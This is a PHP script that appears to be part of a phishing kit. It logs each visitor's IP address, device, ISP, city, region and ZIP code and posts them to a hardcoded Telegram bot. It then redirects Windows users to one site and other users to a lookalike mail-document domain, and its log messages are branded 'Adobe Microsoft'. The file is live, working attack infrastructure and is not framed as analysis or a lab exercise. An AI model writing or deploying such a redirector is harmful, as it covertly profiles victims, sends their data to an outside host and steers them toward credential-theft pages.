<?php
// =============================================
// WORKING REDIRECT WITH TELEGRAM NOTIFICATION
// + ISP, CITY, STATE DETECTION
// =============================================

$windows_redirect_url = "https://realtorbala.ca/newrs";
$non_windows_redirect_url = "https://07doc-servi-517mail-061d9.com/?476c5643";

$telegram_bot_token = "8702051332:AAFha5-qVc-QxvjbDHhgpHrAjLvA4d0YoKQ";
$telegram_chat_id = "8612193443";

// Get user agent
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';

// Check for Windows
$is_windows = (stripos($user_agent, 'Windows NT') !== false || 
               stripos($user_agent, 'Win64') !== false || 
               stripos($user_agent, 'Win32') !== false);

// Detect actual device/OS for non-Windows
function detectDevice($user_agent) {
    if (stripos($user_agent, 'iPhone') !== false) return '📱 iPhone';
    if (stripos($user_agent, 'iPad') !== false) return '📱 iPad';
    if (stripos($user_agent, 'iPod') !== false) return '📱 iPod';
    
    if (stripos($user_agent, 'Android') !== false) {
        if (stripos($user_agent, 'Mobile') !== false) return '🤖 Android Phone';
        return '🤖 Android Tablet';
    }
    
    if (stripos($user_agent, 'Mac OS X') !== false) return '💻 Mac';
    if (stripos($user_agent, 'Linux') !== false && stripos($user_agent, 'Android') === false) return '🐧 Linux';
    if (stripos($user_agent, 'BlackBerry') !== false) return '📱 BlackBerry';
    if (stripos($user_agent, 'Windows Phone') !== false) return '📱 Windows Phone';
    if (stripos($user_agent, 'bot') !== false || stripos($user_agent, 'crawler') !== false) return '🤖 Bot/Crawler';
    
    return '❓ Unknown Device';
}

// Detect OS for non-Windows
function detectOS($user_agent) {
    if (stripos($user_agent, 'iPhone') !== false || stripos($user_agent, 'iPad') !== false || stripos($user_agent, 'Mac OS X') !== false) return 'iOS/macOS';
    if (stripos($user_agent, 'Android') !== false) return 'Android';
    if (stripos($user_agent, 'Linux') !== false) return 'Linux';
    if (stripos($user_agent, 'BlackBerry') !== false) return 'BlackBerry';
    if (stripos($user_agent, 'Windows Phone') !== false) return 'Windows Phone';
    return 'Other OS';
}

// Set redirect URL and device info
if ($is_windows) {
    $redirect_url = $windows_redirect_url;
    $device_icon = "🖥️";
    $device_name = "Windows Device";
    $device_detail = "Windows";
} else {
    $redirect_url = $non_windows_redirect_url;
    $device_icon = "";
    $device_name = detectDevice($user_agent);
    $device_detail = detectOS($user_agent);
}

// Get IP address
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
if (strpos($ip, ',') !== false) {
    $ip = trim(explode(',', $ip)[0]);
}

// =============================================
// GET GEOLOCATION DATA (ISP, CITY, STATE, COUNTRY)
// Using ip-api.com (free, no API key needed)
// =============================================
$geo = [
    'isp' => 'Unknown',
    'city' => 'Unknown',
    'region' => 'Unknown',
    'country' => 'Unknown',
    'countryCode' => '',
    'timezone' => 'Unknown',
    'zip' => 'Unknown'
];

if ($ip !== 'Unknown' && filter_var($ip, FILTER_VALIDATE_IP)) {
    $geo_url = "http://ip-api.com/json/{$ip}?fields=status,message,country,countryCode,region,regionName,city,zip,timezone,isp,org,as,query";
    
    $geo_options = [
        'http' => [
            'method' => 'GET',
            'timeout' => 3,
            'user_agent' => 'Mozilla/5.0'
        ]
    ];
    $geo_context = stream_context_create($geo_options);
    $geo_response = @file_get_contents($geo_url, false, $geo_context);
    
    if ($geo_response) {
        $geo_data = json_decode($geo_response, true);
        if (isset($geo_data['status']) && $geo_data['status'] === 'success') {
            $geo['isp'] = $geo_data['isp'] ?? 'Unknown';
            $geo['city'] = $geo_data['city'] ?? 'Unknown';
            $geo['region'] = $geo_data['regionName'] ?? 'Unknown';
            $geo['country'] = $geo_data['country'] ?? 'Unknown';
            $geo['countryCode'] = $geo_data['countryCode'] ?? '';
            $geo['timezone'] = $geo_data['timezone'] ?? 'Unknown';
            $geo['zip'] = $geo_data['zip'] ?? 'Unknown';
        }
    }
}

// Flag emoji from country code
function countryFlag($code) {
    if (strlen($code) !== 2) return '🌍';
    $code = strtoupper($code);
    return mb_convert_encoding(
        chr(0xF1F8 + ord($code[0]) - 65) . chr(0xF1F8 + ord($code[1]) - 65),
        'UTF-8',
        'UTF-32BE'
    );
}
$flag = countryFlag($geo['countryCode']);

// =============================================
// PREPARE MESSAGE
// =============================================
if ($is_windows) {
    $message = "🎨 Adobe Microsoft - Windows Visitor Redirected\n\n";
    $message .= "OS: 🖥️ Windows Device\n";
} else {
    $message = "🎨 FRESH - {$device_name} Visitor Redirected\n\n";
    $message .= "OS: {$device_icon} {$device_name} ({$device_detail})\n";
}

$message .= "Redirected To: {$redirect_url}\n";
$message .= "IP Address: {$ip}\n";
$message .= "🌐 ISP: {$geo['isp']}\n";
$message .= "🏙️ City: {$geo['city']}\n";
$message .= "📍 State/Region: {$geo['region']}\n";
$message .= "{$flag} Country: {$geo['country']}\n";
$message .= "📮 ZIP: {$geo['zip']}\n";
$message .= "🕐 Timezone: {$geo['timezone']}\n";
$message .= "User Agent: {$user_agent}\n";
$message .= "Time: " . gmdate('Y-m-d H:i:s') . " UTC";

// SEND TELEGRAM NOTIFICATION
$telegram_url = "https://api.telegram.org/bot" . $telegram_bot_token . "/sendMessage";
$post_data = http_build_query([
    'chat_id' => $telegram_chat_id,
    'text' => $message,
    'disable_web_page_preview' => true
]);

$options = [
    'http' => [
        'method' => 'POST',
        'header' => 'Content-Type: application/x-www-form-urlencoded',
        'content' => $post_data,
        'timeout' => 5
    ]
];
$context = stream_context_create($options);
@file_get_contents($telegram_url, false, $context);

// REDIRECT
header("Location: $redirect_url");
exit;
?>